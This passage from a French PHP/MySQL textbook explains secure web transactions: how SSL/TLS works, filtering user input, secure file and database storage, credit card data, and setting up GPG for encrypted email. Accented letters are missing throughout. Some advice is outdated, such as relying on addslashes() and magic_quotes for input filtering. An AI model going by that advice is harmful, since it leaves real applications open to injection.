Pour la plupart des sites, mod auth mysql est donc idal. Il sagit dune mthode rapide,
relativement simple implmenter, qui permet dutiliser tous les mcanismes avantageux pour ajouter des entres correspondant aux nouveaux utilisateurs. Pour une plus
grande souplesse et pour pouvoir contrler plus prcisment certaines parties des pages,
vous pouvez implmenter votre propre authentification laide de PHP et de MySQL.

Cration dune authentification personnalise


Nous avons vu comment implmenter notre propre mthode dauthentification avec
quelques faiblesses et certains compromis et en utilisant les mthodes dauthentification intgres, qui sont moins souples quun code personnalis. Un peu plus loin dans
ce livre, lorsque nous aurons vu le contrle des sessions, nous serons capables dcrire
notre propre authentification personnalise, avec moins de compromis quici.
Au Chapitre 21, nous dvelopperons un petit systme dauthentification des utilisateurs
qui rsout certains des problmes auxquels nous avons t confronts dans ce chapitre,
en utilisant des sessions pour conserver des variables entre les diffrentes pages.
Au Chapitre 25, nous appliquerons cette approche sur un projet rel et nous verrons
comment lutiliser pour implmenter un systme dauthentification plus prcis.

Pour aller plus loin


Les dtails de lauthentification HTTP sont spcifis dans la RFC 2617, disponible
partir de http://www.rfc-editor.org/rfc/rfc2617.txt. La documentation de mod auth, qui
contrle lauthentification de base sous Apache, se trouve sur la page http://
httpd.apache.org/docs/2.0/mod/mod_auth.html. La documentation de mod auth mysql
est incluse dans larchive tlcharge. Comme il sagit dune archive de faible volume,
tlchargez-la et lisez le fichier README pour en savoir plus.

394

Partie III

Scurit

Pour la suite
Nous verrons au prochain chapitre comment surveiller vos donnes tout au long de leur
traitement, de leur saisie leur stockage en passant par leur transmission. Ce mcanisme implique lutilisation de SSL, des certificats numriques et du chiffrement.

16
Transactions scurises avec PHP
et MySQL
Dans ce chapitre, nous verrons comment assurer la scurit des donnes de lutilisateur
depuis leur saisie jusqu leur stockage en passant par leur transmission. Cela nous
permettra dimplmenter une transaction scurise de bout en bout entre notre site et
lutilisateur.

Transactions scurises
Pour fournir des transactions scurises sur Internet, il faut examiner le flux dinformations de votre systme et vous assurer que vos informations sont scurises chaque
instant. Dans le contexte de la scurit rseau, il nexiste aucune mthode absolue.
Aucun systme nest jamais parfaitement impntrable. Par scuris, nous voulons
donc dire quil faudra beaucoup defforts pour compromettre un systme ou une transmission par rapport limportance des donnes impliques.
Si nous devons rellement tudier la scurit de notre systme, il faut donc examiner le
flux des informations qui passent travers toutes les parties de ce systme. Le flux des
informations dun utilisateur dans une application typique, crite avec PHP et MySQL,
est prsent la Figure 16.1.
Les dtails de chaque transaction sur votre systme peuvent varier lgrement, en fonction de larchitecture du systme et des donnes ou des actions des utilisateurs qui ont
entran la transaction, mais le principe reste le mme. Chaque transaction entre une
application web et un utilisateur commence avec lenvoi dune requte vers le serveur
web par le navigateur de lutilisateur, en passant par Internet. Si la page est un script
PHP, le serveur web dlgue le traitement de cette page au moteur PHP.

396

Partie III

Navigateur
de
l'u ilisateur

Scurit

Internet

Serveur
web

Moteur
PHP

Moteur
MySQL

Pages
et scripts
stocks

Fichiers
de
donnes

Base de
donnes
MySQL

Figure 16.1
Les informations des utilisateurs sont stockes ou traites par les lments suivants
dun environnement dapplication web typique.

Le script PHP peut lire ou crire des informations sur le disque. Il peut galement
faire appel dautres fichiers PHP ou HTML, avec include() ou require(). Il peut
aussi envoyer des requtes SQL au serveur MySQL et recevoir les rponses correspondantes. Le moteur MySQL soccupe de lire et dcrire ses propres donnes sur le
disque.
Ce systme est compos de trois parties :
m

lordinateur de lutilisateur ;

Internet ;

votre systme.

Nous allons maintenant prsenter quelques lments concernant la scurit de chacune


de ces parties, mais il est vident que lordinateur de lutilisateur et Internet ne sont pas
rellement sous votre contrle.
Lordinateur de lutilisateur
De notre point de vue, lordinateur de lutilisateur fait tourner un navigateur web. Nous
ne pouvons pas contrler les autres facteurs de ce systme, notamment sa scurit. Vous
devez garder lesprit que cet ordinateur peut tre trs peu scuris ou quil peut mme
sagir dun terminal partag dans une bibliothque, une cole ou un caf.
Il existe plusieurs navigateurs diffrents ayant chacun un ensemble de caractristiques
qui lui sont propres. Si nous nous contentons de considrer les dernires versions des
deux navigateurs les plus rpandus, la plupart des diffrences concernent uniquement la
manire dont le code HTML est affich, mais il existe galement quelques problmes
de fonctionnalits et de scurit que nous devons bien sr prendre en compte.

Chapitre 16

Transactions scurises avec PHP et MySQL

397

Il faut galement savoir que certaines personnes dsactivent plusieurs caractristiques


quelles considrent comme peu scurises ou comme une intrusion dans leur vie
prive : par exemple Java, les cookies ou JavaScript. Si vous utilisez ces fonctionnalits, il convient de vrifier que votre application fonctionne toujours correctement sans
elles ; ou bien pensez proposer une interface moins riche permettant ces personnes
daller sur votre site.
Les utilisateurs rsidant en dehors des tats-Unis ou du Canada peuvent utiliser des
navigateurs qui ne supportent que le chiffrement sur 40 bits. Bien que le gouvernement
amricain ait chang ses lois en janvier 2000 pour autoriser lexportation des systmes
de chiffrement robustes et bien que les versions 128 bits soient dsormais disponibles
auprs de la plupart des utilisateurs, certains utilisateurs sont rests au chiffrement sur
40 bits. moins que vous ne garantissiez la scurit de votre site, vous navez pas
besoin, en tant que dveloppeur web, de vous embarrasser avec ces problmes. SSL
ngocie automatiquement pour permettre votre serveur et au navigateur de lutilisateur de
communiquer au niveau de scurit le plus lev possible.
Vous navez aucun moyen de vous assurer que cest un navigateur web qui se connecte
votre site en passant par linterface que vous proposez : les requtes peuvent provenir
dun autre site ayant rcupr vos sources ou dune personne utilisant un logiciel
comme cURL pour passer outre les mesures de scurit.
Au Chapitre 18, nous reviendrons sur la bibliothque cURL qui peut tre utilise pour
simuler des connexions partir dun navigateur. Cet outil peut vous intresser en tant
que dveloppeur, mais il peut galement tre utilis par des personnes mal intentionnes.
Bien que nous ne puissions pas modifier ou contrler la configuration des ordinateurs
des utilisateurs, il ne faut pas oublier certains principes. La diversit des plates-formes
des utilisateurs reprsente un facteur prpondrant pour le choix des fonctionnalits que
lon peut proposer sur un site, aussi bien au niveau des scripts ct serveur (comme
PHP) quau niveau des scripts ct client (comme JavaScript).
Les fonctionnalits fournies par PHP peuvent tre compatibles avec nimporte quel
navigateur puisque le rsultat final est une simple page HTML. partir du moment o
lon traite avec des scripts JavaScript ( part peut-tre les plus simples), il faut prendre
en compte les capacits et la configuration de chaque navigateur.
Du point de vue de la scurit, il vaut mieux avoir recours des scripts ct serveur
pour la validation des donnes puisque, de cette manire, le code source nest pas
accessible aux utilisateurs. Si vous ne validez les donnes quavec JavaScript, les utilisateurs pourront rcuprer le source du script et ventuellement le modifier.
Les donnes qui doivent tre mmorises peuvent tre enregistres sur nos propres
ordinateurs, des fichiers ou dans une base de donnes, ou sur lordinateur de lutilisa-

398

Partie III

Scurit

teur sous la forme de cookies. Au Chapitre 21, nous verrons comment utiliser les
cookies pour enregistrer quelques donnes (une cl de session).
La majorit des donnes que vous devez mmoriser devrait plutt se trouver sur le
serveur web ou dans votre base de donnes. Il y a plusieurs bonnes raisons pour lesquelles il vaut mieux enregistrer le moins dinformations possible sur la machine de lutilisateur. En effet, lorsque les informations sont en dehors de votre systme, vous ne
pouvez pas contrler leur niveau de scurit, vous ne pouvez pas vous assurer que
lutilisateur ne les effacera pas ni empcher lutilisateur de les modifier pour tenter de
tromper votre systme.
Internet
Comme pour lordinateur de lutilisateur, il y a peu daspects dInternet que vous
pouvez contrler mais, l aussi, ce nest pas pour autant quil faut les ignorer lors de la
conception du systme.
Internet possde plusieurs caractristiques trs intressantes, mais il sagit par essence
dun rseau peu scuris. Lorsque vous envoyez des informations dun point un autre,
il ne faut pas oublier que dautres personnes peuvent intercepter ou modifier les informations transmises. Sachant cela, vous pouvez choisir de :
m
m

transmettre quand mme les informations, en sachant quelles peuvent tre interceptes ;
signer numriquement les informations avant de les transmettre, pour les protger
contre dventuelles tentatives de modification ;
chiffrer les informations avant de les transmettre afin de garantir leur confidentialit
et de les protger contre les tentatives de modification ;
dcider que vos informations sont trop sensibles pour risquer de les transmettre de
cette manire et trouver une autre manire de les distribuer.

Internet est galement un support de transmission relativement anonyme. Il est assez


difficile de sassurer que la personne avec laquelle vous communiquez est bien la
personne quelle prtend tre. Mme si vous pensez pouvoir identifier vos utilisateurs
avec une prcision suffisante, il peut tre difficile de le prouver dune manire formelle,
comme dans un tribunal. Cela peut poser problme en cas de contestation ou dopposition sur une transaction.
En rsum, la confidentialit et les contestations sont des problmes trs importants
lorsquon veut effectuer des transactions sur Internet.
Il existe au moins deux moyens de scuriser les informations que vous transmettez sur
Internet :
m

SSL (Secure Sockets Layer) ;

Chapitre 16

Transactions scurises avec PHP et MySQL

399

S-HTTP (Secure HyperText Transfer Protocol).

Ces deux technologies offrent un cadre solide assurant la confidentialit et lauthenticit des changes, mais SSL est dj largement utilis et disponible, alors que S-HTTP
na pas vraiment dcoll. Nous reviendrons sur SSL un peu plus loin dans ce chapitre.
Votre systme
La partie que vous pouvez le mieux contrler est naturellement votre systme. Celui-ci
correspond aux composants contenus dans la bote rectangulaire de la Figure 16.1. Ces
composants peuvent tre isols physiquement sur un rseau ou se trouver tous lintrieur
dun mme ordinateur.
Vous pouvez raisonnablement penser que vous navez pas besoin de vous occuper de la
scurit des informations, puisque les produits annexes que vous utilisez pour fournir
notre contenu sur le Web sen occupent dj. Les auteurs de ces logiciels ont probablement pass beaucoup de temps sur ce sujet, en principe plus que vous-mme. Tant que
vous utiliserez la dernire version dun produit reconnu, vous trouverez avec Google ou
votre moteur de recherche web favori toutes les informations ncessaires pour rsoudre
vos problmes. Il est donc trs important de mettre jour rgulirement vos logiciels.
Si linstallation et la configuration de votre systme vous incombent, vous devez porter
une attention particulire la manire dont les logiciels sont installs et configurs. La
plupart des erreurs dans le domaine de la scurit proviennent gnralement dun nonrespect des conseils fournis dans les documentations ou rsultent daspects gnraux de
ladministration systme donnant matire un autre livre. Procurez-vous un bon livre
sur ladministration du systme dexploitation que vous avez lintention dutiliser ou
embauchez un administrateur systme expert.
Lors de linstallation de PHP, on considre gnralement quil est plus scuris (et
galement plus efficace) de linstaller sous la forme dun module SAPI pour votre
serveur web, plutt que lexcuter via une interface CGI.
La premire chose faire en tant que dveloppeur dapplication web est de sintresser
ce que font vos scripts et ce quils ne font pas. Quelles sont les donnes sensibles
que votre application transmet lutilisateur via Internet ? Quelles sont les informations
sensibles que nous demandons aux utilisateurs de transmettre ? Si nous transmettons
des donnes qui font partie dune transaction prive entre notre systme et nos utilisateurs ou qui ne doivent pas tre interceptes et modifies, vous devriez songer utiliser
SSL.
Nous avons dj parl de lutilisation de SSL entre lordinateur de lutilisateur et le
serveur. Il convient galement denvisager le cas dune transmission de donnes entre
plusieurs composants de votre systme sur un rseau. Un exemple classique est celui

400

Partie III

Scurit

dune base de donnes MySQL qui se trouverait sur un autre ordinateur que votre
serveur web. Dans ce cas, PHP se connecte votre serveur MySQL via TCP/IP et cette
connexion nest pas chiffre. Si les deux ordinateurs participants cette communication
appartiennent un rseau local priv, vous devez vous assurer que ce rseau est scuris. Si les ordinateurs communiquent via Internet, votre systme sera probablement
ralenti et vous devrez traiter cette connexion de la mme manire que toute autre
connexion passant par Internet.
Il est important que vos visiteurs, partir du moment o ils pensent traiter avec vous,
soient rellement connects votre site. Vous pouvez vous procurer un certificat numrique pour les protger dun autre site qui se ferait passer pour le vtre, mais aussi pour
permettre lutilisation de SSL sans afficher de message davertissement chez vos utilisateurs et pour amliorer limage de marque de votre site commercial.
Est-ce que vos scripts vrifient avec prcaution les donnes saisies par les utilisateurs ?
Faut-il se donner la peine denregistrer les informations dune manire scurise ?
Nous rpondrons ces questions dans les prochaines sections de ce chapitre.

Utilisation de SSL
Le protocole SSL (Secure Sockets Layer) a t conu lorigine par Netscape pour
simplifier les communications scurises entre les serveurs et les navigateurs web. Il a
ensuite t transform en mthode standard non officielle permettant aux navigateurs et
aux serveurs dchanger des informations sensibles.
Les versions 2 et 3 de SSL sont trs largement prises en charge. La plupart des serveurs
web ont t conus pour intgrer ce protocole ou pour accepter des modules correspondants. Internet Explorer et Firefox supportent ce protocole depuis sa version 3.
Les protocoles rseau et les logiciels qui les implmentent sont gnralement organiss
sous la forme dune pile de couches. Chaque couche peut transmettre des donnes (ou
demander des services) la couche suprieure ou infrieure. La Figure 16.2 prsente un
exemple de pile de protocoles.
Figure 16.2
La pile de protocoles
utilise par un protocole
du niveau application,
comme le protocole HTTP.

HTTP

FTP SMTP
TCP/UDP
IP
Variable

Couche Application
Couche Transport
Couche Rseau
Couche Hte Rseau

Lorsque vous vous servez du protocole HTTP pour transfrer des informations, celui-ci
fait appel au protocole TCP (Transmission Control Protocol), qui son tour sappuie
sur le protocole IP (Internet Protocol). Ce dernier a lui-mme besoin dun protocole

Chapitre 16

Transactions scurises avec PHP et MySQL

401

appropri pour le priphrique rseau qui soccupe de transmettre les paquets de


donnes vers leur destination sous forme de signal lectrique.
HTTP est un protocole de la couche application. Plusieurs autres protocoles oprent au
niveau de cette couche : FTP, SMTP ou telnet (voir Figure 16.3), ou encore POP ou
IMAP. TCP est lun des deux protocoles de la couche transport utiliss dans les rseaux
TCP/IP. IP est le protocole intervenant au niveau de la couche rseau. La couche hterseau prend en charge la connexion dun hte (lordinateur) un rseau. La pile de
protocoles TCP/IP ne prcise pas le protocole utiliser pour cette couche, puisqu
chaque type de rseau correspondent des protocoles diffrents.
Lorsque des donnes sont envoyes, elles descendent la pile de lapplication jusquau
rseau physique. Lorsque des donnes sont reues, celles-ci remontent la pile, du rseau
physique jusqu lapplication.
Lutilisation de SSL ajoute une couche supplmentaire et transparente dans ce modle.
La couche SSL se situe entre la couche transport et la couche application (voir
Figure 16.3) et modifie les donnes de votre application HTTP avant de les envoyer la
couche transport, qui les enverra vers leur destination.
Figure 16.3
SSL ajoute une autre
couche dans la pile de
protocoles, ainsi que
des protocoles du niveau
application afin de
contrler ses oprations.

HTTP

SSL
Handshake
Protocol

SSL
Change
Cipher

SSL
Alert
Protocol

SSL Record Protocol


TCP
IP
Variable

Couche Application
Couche SSL
Couche Transport
Couche Rseau
Couche Hte-Rseau

SSL est capable de fournir un environnement de transmission scuris pour des protocoles autres que le protocole HTTP puisque la couche SSL est transparente. Le niveau
SSL fournit la mme interface au protocole situ au-dessus de lui que la couche transport sous-jacente. Il peut donc soccuper dune manire transparente du chiffrement, du
dchiffrage et du contrle de la transmission.
Lorsquun navigateur se connecte un serveur web scuris via HTTP, les deux parties
doivent respecter un protocole dchange pour se mettre daccord sur certains points,
comme lauthentification et le chiffrement.
La squence dchange passe par les tapes suivantes :
1. Le navigateur se connecte un serveur SSL et demande au serveur de sauthentifier.
2. Le serveur envoie son certificat numrique.
3. Le serveur peut demander (mais cest rare) au navigateur de sauthentifier son
tour.

402

Partie III

Scurit

4. Le navigateur prsente la liste dalgorithmes de chiffrement et de fonctions de


hachage quil supporte. Le serveur choisit le meilleur systme de chiffrement, quil
prend aussi en charge.
5. Le navigateur et le serveur gnrent des cls de session :
a. Le navigateur obtient la cl publique du serveur partir de son certificat numrique
et sen sert pour chiffrer un nombre gnr alatoirement.
b. Le serveur rpond avec dautres donnes alatoires envoyes en texte clair (
moins que le navigateur nait fourni un certificat numrique en rponse la
requte du serveur, auquel cas le serveur utilise la cl publique du navigateur).
c. Les cls de chiffrement pour cette session sont produites partir de ces donnes
alatoires, laide des fonctions de hachage.
La gnration de nombres alatoires de bonne qualit, le dchiffrage des certificats
numriques et la production des cls en utilisant un systme de chiffrement par cl
publique prennent du temps, cest pourquoi cette squence dchange est un peu
longue. Heureusement, les rsultats sont mis en cache, ce qui permet au mme navigateur et au mme serveur dchanger plusieurs messages scuriss en neffectuant
quune seule fois cette squence.
Lenvoi de donnes sur une connexion SSL passe par les tapes suivantes :
1. Les donnes sont dcomposes en paquets.
2. Chaque paquet est (ventuellement) compress.
3. Un code dauthentification de message (MAC) est calcul pour chaque paquet, avec
un algorithme de hachage.
4. Le MAC et les donnes compresses sont combins et chiffrs.
5. Les paquets chiffrs sont combins avec des informations den-tte et envoys sur le
rseau.
Lensemble de ce processus est dcrit la Figure 16.4.
Dans ce diagramme, vous remarquerez que len-tte TCP est ajout aprs le chiffrement
des donnes. Cela signifie que les informations de routage peuvent toujours tre interceptes et, bien que dventuelles personnes indiscrtes ne puissent pas intercepter les
donnes changes, elles peuvent savoir qui les change.
SSL compresse les donnes avant le chiffrement car, bien que la plupart du trafic
rseau puisse tre (et est souvent) compress avant dtre transmis sur un rseau, les
donnes chiffres ne sont gnralement pas bien compresses. Les systmes de
compression fonctionnent en cherchant des similitudes dans les donnes compresser.

Chapitre 16

Transactions scurises avec PHP et MySQL

Nos donnes

403

<html><head><title>Ma Page</title>
Empaquetage

Paquets de donnes

<html><hea

d><title>M

a Page</ti

Compression
Donnes compresses
Calcul du MAC
Code d'authentification
du message

Chiffrement

Paquets chiffrs

Paquet TCP

En tte
TCP

Figure 16.4
SSL dcompose, compresse, hache et chiffre les donnes avant de les envoyer.

Lorsquon tente de compresser une suite de caractres qui est devenue alatoire aprs
avoir t chiffre, on ne peut pas compresser les donnes de manire efficace. Il serait
dommage que SSL, qui a t conu pour amliorer la scurit rseau, ait pour effet de
ralentir le trafic rseau.
Bien que SSL soit relativement complexe, les utilisateurs et les dveloppeurs sont
protgs de la plupart des problmes qui peuvent se poser, puisque les interfaces de
SSL reproduisent fidlement celles des protocoles existants.
TLS (Transport Layer Security), actuellement dans sa version 1.1, repose directement
sur SSL 3.0, mais il contient des amliorations destines combler certaines faiblesses
de SSL et offre une flexibilit accrue.

Filtrer les donnes saisies


Lun des principes pour la mise en uvre dune application web scurise consiste
filtrer toutes les donnes saisies par les utilisateurs. Il faut toujours les analyser avec
prcaution avant de les enregistrer dans un fichier ou dans une base de donnes ou avant
de les passer une commande systme.

404

Partie III

Scurit

Nous avons dj mentionn dans ce livre plusieurs techniques permettant de filtrer les
donnes des utilisateurs. Nous allons les rcapituler, titre de rfrence :
m

La fonction addslashes() sert filtrer les donnes avant de les passer une base de
donnes. Cette fonction supprime les caractres susceptibles de poser problme
dans la base. La fonction stripslashes() permet de rtablir une chane filtre dans
son tat initial.
Vous pouvez activer les directives magic quotes gpc et magic quotes runtime
dans votre fichier php.ini. Ces directives ajoutent et suppriment automatiquement
les barres obliques votre place. La directive magic quotes gpc applique ce formatage aux requtes GET et POST en entre et aux variables des cookies, tandis que la
directive magic quote runtime lapplique aux donnes qui entrent ou qui sortent
des bases de donnes.
La fonction escapeshellcmd() peut tre utilise lorsque vous passez des donnes
saisies par les utilisateurs un appel system() ou exec(), ou entre des backticks
(apostrophes inverses). Elle supprime tous les mta-caractres qui pourraient forcer
votre systme excuter des commandes arbitraires entres par un utilisateur
malveillant.
Vous pouvez vous servir de la fonction strip tags() pour supprimer les balises
HTML et PHP dans une chane. Cela empche les utilisateurs malveillants dinsrer
des scripts dans des donnes utilisateur susceptibles dtre renvoyes au navigateur.
La fonction htmlspecialchars() convertit les caractres en entits HTML. Par
exemple, < est converti en &lt;. Cette fonction transforme toutes les balises de
scripts en caractres inoffensifs.

Stockage scuris
Les trois sortes de donnes qui peuvent tre enregistres (cest--dire les fichiers PHP
ou HTML, les donnes des scripts et les donnes MySQL) sont souvent conserves
dans diffrents emplacements dun mme disque bien quelles soient reprsentes sparment (voir Figure 16.1). Chaque type de stockage ncessite diverses prcautions que
nous allons maintenant tudier en dtail.
Les donnes les plus dangereuses sont sans conteste les fichiers excutables. Sur un site
web, il sagit gnralement de scripts. Il faut prendre garde dfinir correctement les
droits daccs dans votre arborescence web, cest--dire celle qui commence au rpertoire htdocs sur un serveur Apache ou au rpertoire inetpub sur un serveur IIS. Les utilisateurs doivent pouvoir lire vos scripts afin den afficher le rsultat, mais ils ne doivent
pas pouvoir les modifier.

Chapitre 16

Transactions scurises avec PHP et MySQL

405

Cette rgle est galement valable pour les rpertoires situs dans larborescence web.
Vous seul devez tre capable de modifier ces rpertoires. Les autres utilisateurs, y
compris lutilisateur sous le compte duquel le serveur sexcute, ne doivent pas pouvoir
modifier ou crer de nouveaux fichiers dans des rpertoires susceptibles dtre chargs
par le serveur web. Si vous permettez ces utilisateurs dcrire des fichiers dans ces
rpertoires, ils pourraient y dposer un script malicieux et lexcuter laide du serveur.
Si vos scripts ont besoin de droits daccs en criture sur certains fichiers, crez un
rpertoire spcial en dehors de larborescence web. Cette rgle est particulirement
valable pour les scripts de dpots de fichiers. Il ne faut jamais mlanger les scripts et les
donnes quils crivent.
Lorsque vous crivez des donnes sensibles, vous pouvez choisir de les chiffrer, bien
que cela napporte pas forcment une scurit accrue. En effet, si votre serveur web
contient un fichier appel numeros_cartes_de_credit.txt et quun pirate arrive sintroduire dans votre serveur et lire ce fichier, il est fort possible quil arrive galement
lire les autres fichiers de votre serveur. Pour chiffrer et dchiffrer les donnes, vous avez
besoin dun programme permettant de les chiffrer, dun autre pour les dchiffrer et de
un ou plusieurs fichiers contenant des cls. Si le pirate peut lire vos donnes, il peut
probablement accder aussi ces fichiers.
Le chiffrement des donnes peut tre intressant sur un serveur web uniquement si les
logiciels et les cls de chiffrement se trouvent non pas sur le serveur lui-mme, mais sur
un autre ordinateur. Vous pouvez par exemple chiffrer vos donnes sur le serveur, puis
les transmettre un autre ordinateur, ventuellement par e-mail.
Les informations contenues dans les bases de donnes sont comparables des fichiers
de donnes. Si vous configurez MySQL correctement, seul MySQL peut crire dans ses
propres fichiers de donnes. Cela signifie quil ne vous reste plus qu vous occuper des
accs des utilisateurs MySQL. Nous avons dj prsent le systme des permissions
de MySQL, lequel affecte des droits daccs chaque utilisateur et chaque hte.
Il convient cependant dobserver que vous devrez souvent crire un mot de passe
MySQL dans un script PHP. Vos scripts PHP sont en gnral accessibles tout le
monde. En fait, cela ne pose pas vraiment de problme : moins que la configuration de
votre serveur web ne soit compromise, votre code PHP nest pas accessible depuis
lextrieur.
Si votre serveur est configur pour analyser les fichiers .php avec linterprteur PHP,
les personnes extrieures ne pourront pas rcuprer le code source non interprt.
Cependant, il faut faire attention lorsque vous utilisez dautres extensions. Si vous
placez des fichiers .inc dans vos rpertoires web, nimporte quelle personne qui les
demande recevra leur code source. Il faut donc placer les fichiers inclure en dehors

406

Partie III

Scurit

de larborescence web ou configurer votre serveur pour quil nenvoie pas les fichiers
possdant cette extension, ou leur donner lextension .php.
Si vous partagez un serveur web avec dautres personnes, votre mot de passe MySQL
peut tre accessible aux utilisateurs de cet ordinateur, qui peuvent galement excuter
des scripts avec le mme serveur. En fonction de la configuration de votre systme,
cette situation peut tre invitable. Pour rsoudre ce problme, vous pouvez configurer
le serveur web pour quil excute ses scripts sous le nom dutilisateurs particuliers ou
en obligeant chaque utilisateur excuter sa propre instance du serveur web. Si vous
ntes pas ladministrateur de votre serveur web (ce qui est fort probable si vous le
partagez), il peut tre intressant de parler de ce problme avec votre administrateur et
de passer en revue les diffrentes options de scurit.

Stockage des numros de cartes de crdit


Maintenant que nous avons parl de lenregistrement des donnes sensibles, nous
pouvons nous intresser un type de donnes qui mrite une tude particulire. Les
internautes tant trs mfiants ds quil sagit de fournir leur numro de carte de crdit,
vous devez donc tre trs prudent si vous les stockez. Il faut galement vous demander
pourquoi vous les stockez et si cest rellement ncessaire.
Quallez-vous faire avec un numro de carte de crdit ? Si vous traitez vos transactions
une par une et si vous disposez dun systme de traitement en temps rel de ces numros, il vaut mieux les demander vos utilisateurs et les envoyer directement votre
passerelle de traitement des transactions, sans les enregistrer.
En revanche, si vous devez dbiter rgulirement plusieurs cartes, par exemple dans le
cadre dun abonnement, il ne sagit pas dune bonne mthode. Dans ce cas, il faut
penser stocker ces numros ailleurs que sur le serveur web.
Si vous avez lintention de stocker un grand nombre de numros de cartes de crdit,
assurez-vous que votre administrateur systme est suffisamment dou et assez paranoaque pour vrifier rgulirement les dernires mises jour de scurit pour le
systme dexploitation et les logiciels utiliss.

Utilisation du chiffrement avec PHP


titre dexemple, nous allons voir comment envoyer un e-mail chiffr. Depuis
plusieurs annes, le standard de facto pour les e-mails chiffr est PGP (Pretty Good
Privacy). Philip R. Zimmermann a crit PGP spcialement pour permettre la confidentialit des e-mails.

Chapitre 16

Transactions scurises avec PHP et MySQL

407

Sil existe des versions gratuites de PGP, il faut savoir quil ne sagit pas dun logiciel
libre. La version gratuite ne peut tre utilise lgalement que dans le cadre dune utilisation non commerciale.
Il existe galement une version open-source de PGP, GPG (Gnu Privacy Guard), qui
offre une alternative libre et gratuite PGP. Cette version ne contient aucun algorithme
dpos et peut tre utilise sans aucune restriction dans un cadre commercial.
Ces deux produits effectuent la mme tche, presque de la mme manire. Si vous avez
lintention dutiliser ces outils partir de la ligne de commande, vous ne verrez pas
grande diffrence entre les deux, mais chacun fournit des interfaces diffrentes se
prsentant, par exemple, sous la forme de modules destins des programmes de courrier
lectronique afin de dchiffrer automatiquement les e-mails lors de leur rception.
GPG est disponible sur le site http://www.gnupg.org.
Vous pouvez galement utiliser ces deux produits conjointement ; il est ainsi possible
de chiffrer avec GPG des messages destins une personne employant PGP pour les
dchiffrer ( condition quelle en possde une version rcente). Comme nous nous intressons la cration de messages au niveau du serveur web, notre exemple se servira de
GPG. Lutilisation de PGP la place de GPG ne change pas grand-chose au processus.
Outre les prrequis habituels pour les exemples de ce livre, vous devrez avoir install
GPG pour que ce code fonctionne. Il est dailleurs peut-tre dj install sur votre
systme. Si ce nest pas le cas, ne vous inquitez pas : la procdure dinstallation est
trs simple, bien que la configuration ultrieure soit assez dlicate.
Installation de GPG
Pour ajouter GPG sur notre ordinateur Linux, nous avons charg le fichier archive appropri depuis le site www.gnupg.org. Selon que vous choisissez le format darchive .tar.gz
ou .tar.bz2, vous aurez besoin de gunzip ou de bunzip2 et de tar pour extraire les fichiers
de larchive.
Pour compiler et installer le programme, servez-vous des commandes traditionnelles :
configure (ou ./configure selon votre systme)
make
make install

Si vous ntes pas lutilisateur root, vous devrez excuter le script de configuration
avec loption prefix, comme ceci :
./configure --prefix=/chemin/vers/votre/repertoire

En effet, seul root a accs au rpertoire par dfaut de GPG.

408

Partie III

Scurit

Si tout se passe bien, GPG est compil et lexcutable est copi dans le rpertoire /usr/
local/bin/gpg ou dans celui prcis lors de linstallation. Vous pouvez modifier
plusieurs options. Consultez la documentation de GPG pour plus de dtails.
Pour un serveur Windows, le processus dinstallation est encore plus simple. Chargez le
fichier zip, dcompressez-le et placez gpg.exe dans un des rpertoires indiqus dans
votre variable PATH (C:\Windows\, par exemple). Crez le rpertoire C:\gnupg, ouvrez
un interprteur de commandes et saisissez la commande gpg.
Vous devez galement installer GPG ou PGP (et gnrer une paire de cls correspondante) sur le systme sur lequel vous irez chercher vos e-mails.
Sur le serveur web, il existe trs peu de diffrences entre les versions en ligne de
commande de GPG et de PGP, donc, autant utiliser GPG, dautant plus quil est gratuit.
Sur lordinateur partir duquel vous lisez vos e-mails, vous pouvez prfrer installer
une version commerciale de PGP, pour tirer profit de son interface utilisateur graphique
qui sintgre dans votre logiciel de courrier.
Si vous nen possdez pas dj une, produisez une paire de cls sur lordinateur dont
vous vous servez pour lire vos courriers. Une paire de cls est compose dune cl
publique que les autres personnes (et vos scripts PHP) utilisent pour chiffrer les courriers avant de vous les envoyer et dune cl prive dont vous devez vous servir pour
dchiffrer les messages que vous recevez et pour signer les courriers sortants.
Il est important que la gnration des cls soit effectue sur lordinateur choisi pour la
lecture des courriers et non pas sur le serveur web, puisque votre cl prive ne doit pas
tre conserve sur le serveur web.
Si vous vous servez de la version en ligne de commande de GPG pour gnrer vos cls,
saisissez la commande suivante :
gpg --gen-key

Vous devrez rpondre certaines questions. La plupart dentre elles sont accompagnes
dune rponse par dfaut que vous pouvez accepter. Vous devrez notamment fournir un
nom, une adresse e-mail et un commentaire qui seront utiliss pour donner un nom la
cl. Par exemple, ma cl sappelle Luke Welling <luke@tangledweb.com.au>. Si
nous voulions fournir un commentaire, celui-ci serait insr entre le nom et ladresse.
Pour exporter la cl publique de votre nouvelle paire de cls, vous pouvez vous servir
de la commande suivante :
gpg --export > nomdefichier

Cette commande produit un fichier binaire destin tre import dans le systme de
cls de PGP ou de GPG dun autre ordinateur. Si vous souhaitez transmettre cette cl

Chapitre 16

Transactions scurises avec PHP et MySQL

409

par courrier dautres personnes, afin quils puissent limporter dans leur systme de
cls, il vaut mieux crer une version ASCII de ce fichier :
gpg --export -a > nomdefichier

Aprs avoir extrait la cl publique, vous pouvez transfrer le fichier dans votre compte
sur le serveur web, laide de FTP.
Les commandes suivantes supposent que vous utilisez Unix. Les tapes sont les mmes
sous Windows, mais les noms des rpertoires et ceux des commandes sont diffrents.
Ouvrez une session sur le serveur web, sous votre compte, et modifiez les droits du
fichier pour que les autres personnes puissent le lire :
chmod 644 nomdefichier

Vous devez crer un trousseau de cls pour que lutilisateur au nom duquel vos scripts
PHP sont excuts puisse se servir de GPG. Le nom de cet utilisateur dpend de la
configuration de votre serveur. Il sagit souvent de lutilisateur nobody.
Ouvrez une session sous le compte de lutilisateur du serveur web. Pour cela, vous
devez possder un accs root au serveur. Sur la plupart des systmes, le serveur web
sexcute sous le compte nobody. Les exemples suivants partent de cette hypothse. Si
cest bien le cas sur votre systme, saisissez la commande suivante :
su root
su nobody

Crez un rpertoire pour nobody, destin contenir son trousseau de cls et les autres
informations de configuration de GPG. Ce rpertoire doit se trouver dans le rpertoire
personnel de nobody.
Le rpertoire personnel de chaque utilisateur est spcifi dans le fichier /etc/passwd.
Sur la plupart des systmes Linux, le rpertoire personnel de nobody vaut par dfaut /,
et nobody na aucun droit en criture sur ce rpertoire. Sur la plupart des systmes BSD,
le rpertoire personnel de nobody est par dfaut /nonexistent, dans lequel on ne peut
pas crire puisquil nexiste pas. Sur notre systme, le rpertoire personnel de nobody
est /tmp. Vous devez vous assurer que lutilisateur de votre serveur web possde un
rpertoire personnel dans lequel il peut crire.
Saisissez les commandes suivantes :
cd ~
mkdir .gnupg

